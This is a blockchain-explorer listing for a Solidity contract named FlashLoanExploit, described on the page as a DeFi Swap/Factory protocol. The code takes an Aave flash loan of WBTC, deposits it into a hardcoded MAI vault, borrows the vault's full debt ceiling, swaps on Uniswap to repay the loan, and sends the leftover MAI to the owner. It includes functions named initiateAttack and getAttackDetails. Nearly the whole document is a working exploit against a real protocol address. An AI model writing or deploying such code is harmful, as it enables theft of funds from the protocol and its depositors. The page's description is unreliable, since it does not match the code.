Description:
Decentralized Finance (DeFi) protocol contract providing Swap, Factory functionality.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"src/FlashLoanExploit.sol": {
"content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
interface IStableQiVault {
function createVault() external returns (uint256);
function depositCollateral(uint256 vaultID, uint256 amount) external;
function borrowToken(uint256 vaultID, uint256 amount, uint256 _front) external;
function getDebtCeiling() external view returns (uint256);
function minDebt() external view returns (uint256);
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address to, uint256 amount) external returns (bool);
}
interface IAaveLendingPool {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
interface IUniswapV3Router {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
function exactInputSingle(ExactInputSingleParams calldata params) external returns (uint256 amountOut);
}
contract FlashLoanExploit {
IStableQiVault public constant VAULT = IStableQiVault(0x8C45969aD19D297c9B85763e90D0344C6E2ac9d1);
IERC20 public constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IERC20 public constant MAI = IERC20(0x8D6CeBD76f18E1558D4DB88138e2DeFB3909fAD6);
IUniswapV3Router public constant UNISWAP = IUniswapV3Router(0xE592427A0AEce92De3Edee1F18E0157C05861564);
IAaveLendingPool public constant AAVE = IAaveLendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
address public owner;
uint256 public profit;
event AttackExecuted(uint256 profit);
event FlashLoanRepaid(uint256 wbtcRepaid);
constructor() {
owner = msg.sender;
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
require(msg.sender == address(AAVE), "Only Aave can call");
require(initiator == owner, "Only owner can initiate");
// Step 1: Get WBTC from flash loan
uint256 wbtcAmount = amounts[0];
uint256 flashLoanFee = premiums[0];
// Step 2: Create vault and deposit WBTC collateral
uint256 vaultId = VAULT.createVault();
WBTC.approve(address(VAULT), wbtcAmount);
VAULT.depositCollateral(vaultId, wbtcAmount);
// Step 3: Borrow all available MAI with zero fees
uint256 availableMAI = VAULT.getDebtCeiling();
VAULT.borrowToken(vaultId, availableMAI, 0);
// Step 4: Calculate WBTC needed for repayment
uint256 totalWBTCNeeded = wbtcAmount + flashLoanFee;
// Step 5: Swap MAI for WBTC to repay flash loan
// Use conservative estimate to ensure enough WBTC
uint256 maiToSwap = (totalWBTCNeeded * 45000e10) / 1e8; // 45,000 MAI per WBTC (conservative)
MAI.approve(address(UNISWAP), maiToSwap);
IUniswapV3Router.ExactInputSingleParams memory swapParams = IUniswapV3Router.ExactInputSingleParams({
tokenIn: address(MAI),
tokenOut: address(WBTC),
fee: 3000,
recipient: address(this),
deadline: block.timestamp + 1800,
amountIn: maiToSwap,
amountOutMinimum: totalWBTCNeeded * 98 / 100, // 2% slippage protection
sqrtPriceLimitX96: 0
});
uint256 wbtcReceived = UNISWAP.exactInputSingle(swapParams);
require(wbtcReceived >= totalWBTCNeeded, "Insufficient WBTC from swap");
// Step 6: Repay flash loan
WBTC.approve(address(AAVE), totalWBTCNeeded);
emit FlashLoanRepaid(totalWBTCNeeded);
// Step 7: Calculate and transfer profit
uint256 remainingMAI = MAI.balanceOf(address(this));
profit = remainingMAI;
MAI.transfer(owner, remainingMAI);
// Transfer any remaining WBTC (excess from swap)
uint256 remainingWBTC = WBTC.balanceOf(address(this));
if (remainingWBTC > 0) {
WBTC.transfer(owner, remainingWBTC);
}
emit AttackExecuted(profit);
return true;
}
function initiateAttack() external {
require(msg.sender == owner, "Only owner");
uint256 availableMAI = VAULT.getDebtCeiling();
uint256 minDebt = VAULT.minDebt();
require(availableMAI >= minDebt, "Insufficient funds to exploit");
// Calculate required WBTC (150% collateralization at $45k WBTC for safety)
uint256 requiredWBTC = (availableMAI * 150 * 1e8) / (45000 * 100 * 1e18);
// Add 20% buffer for safety
requiredWBTC = requiredWBTC * 120 / 100;
address[] memory assets = new address[](1);
assets[0] = address(WBTC);
uint256[] memory amounts = new uint256[](1);
amounts[0] = requiredWBTC;
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
AAVE.flashLoan(
address(this),
assets,
amounts,
modes,
address(0),
new bytes(0),
0
);
}
function recoverTokens(address token, uint256 amount) external {
require(msg.sender == owner, "Only owner");
IERC20(token).transfer(owner, amount);
}
function getAttackDetails() external view returns (
uint256 availableMAI,
uint256 minDebt,
bool canExploit,
uint256 requiredWBTC,
uint256 potentialProfit
) {
availableMAI = VAULT.getDebtCeiling();
minDebt = VAULT.minDebt();
canExploit = availableMAI >= minDebt;
if (canExploit) {
requiredWBTC = (availableMAI * 150 * 1e8) / (45000 * 100 * 1e18) * 120 / 100;
uint256 estimatedCost = (requiredWBTC * 45000e10) / 1e8;
potentialProfit = availableMAI - estimatedCost;
} else {
requiredWBTC = 0;
potentialProfit = 0;
}
}
}"
}
},
"settings": {
"remappings": [
"forge-std/=lib/forge-std/src/",
"@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
"ds-test/=lib/ds-test/src/",
"erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
"halmos-cheatcodes/=lib/openzeppelin-contracts/lib/halmos-cheatcodes/src/",
"openzeppelin-contracts/=lib/openzeppelin-contracts/"
],
"optimizer": {
"enabled": true,
"runs": 200
},
"metadata": {
"useLiteralContent": false,
"bytecodeHash": "ipfs",
"appendCBOR": true
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "prague",
"viaIR": true
}
}}
Submitted on: 2025-11-07 21:50:18
Comments
Log in to comment.
No comments yet.